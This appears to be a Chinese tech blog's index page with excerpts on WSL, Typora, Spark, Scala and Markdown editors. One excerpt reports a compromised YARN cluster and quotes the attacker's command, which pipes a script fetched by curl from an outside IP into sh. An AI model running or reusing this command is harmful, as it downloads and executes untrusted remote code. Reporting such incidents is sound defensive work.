大数据技术分享

zhangnew

发表于 更新于 分类于 评论数： 阅读次数：

需求场景：本人使用 Windows 10 操作系统，终端为 WSL(Windows Subsystem for Linux) 就是一个 Linux 子系统，可以运行各种 Linux命令，当我用 wget 下载一个大的文件的时候，可能要等很久，但是我不知道什么时候会下载完，这时候需要他完成之后给我发一个通知，这个通知在原生 Linux 和 Mac 上是比较容易的，这里说一下在 Windows 下的设置。

阅读全文 »

发表于 更新于 分类于 ， 评论数： 阅读次数：

Typora 是一个非常优秀的 Markdown 编辑器，与大部分编辑器不同，它使用了一种所及即所得的编辑模式，输入 Markdown 格式的文字，实时渲染。

我用的 Hexo 博客系统，里面的图片路径比较特殊，/images/xx.png 这种路径，一般编辑器是无法识别的，去网上搜了一圈也没找到到底如何在 Typora 中设置，最后在官方文档中找到了。

阅读全文 »

发表于 更新于 分类于 ， 评论数： 阅读次数：

本文基于 Spark 2.x，除特殊说明，代码均为 Scala

函数详解

import

使用 DataFrame 通常需要 import org.apache.spark.sql.functions._，这里引入了 col, lit, udf, sum, max, avg, agg 等常用函数。函数源码

阅读全文 »

发表于 更新于 分类于 ， 评论数： 阅读次数：

最近利用 Ambari 重新搭建了一个集群，今天发现 ResourceManager UI 里面有一些奇怪的作业，类型是 yarn，由 dr.who 提交的名为 MYYARN 的作业，最早从2018年4月30日开始，每隔几分钟就有一个，作业内容完全一样。

里面的关键一句命令是 exec /bin/bash -c "curl 193.22.96.25/x.sh | sh & disown"，IP 来自俄罗斯，俄罗斯的黑客真是厉害呢。

阅读全文 »

发表于 更新于 分类于 ， 评论数： 阅读次数：

小书匠是一个功(zhong)能(liang)强(ji)大的 MarkDown 文档编辑器，除了支持常规的 MarkDown 语法，还要很多扩展语法（代码高亮 ，gfm ，脚注 ，上标 ，下标 ，文字高亮 ，注音 ruby ，缩写定义 ，表格 ，emoji 表情 ，文字插入 ，文字居中 ，todo ，视频 ，音频 ，附件 ，属性 ，表格 ，合并单元格式表格 ，mathjax 数学公式 ，plantuml uml 图 ，mermaid 时序图，流程图，甘特图等 ，sequence 时序图 ，codeChunks 代码块执行 ，wavedrom ，nunjucks ，plot 统计图），多种编辑器，主题，以及自定义CSS等功能，支持印象笔记、Github、Dropbox 等，以及常见的各种图床。功能详见官网

轻量级的需求可以直接在官网上用在线版的就可以了，要想获取完整的体验还是需要下载客户端，全平台支持的（nwjs 开发的），非开源，其 Github 只是提 Issue 用的。

阅读全文 »

发表于 更新于 分类于 ， 评论数： 阅读次数：

一直使用 Windows 下的 IDEA 做 Scala Spark 程序开发，打包后用 WinSCP 上传到服务器运行，很麻烦，所以就想在 Linux 服务器上部署 Scala、SBT 来编写 Spark 程序。再编写一些简单脚本，肯定可以使编译、打包、运行一气呵成。当然了，也是有缺点的，就是没有了 IDE，写代码就困难了（哭）。还有就是 vim 的支持情况，默认是不识别 scala 文件的。

阅读全文 »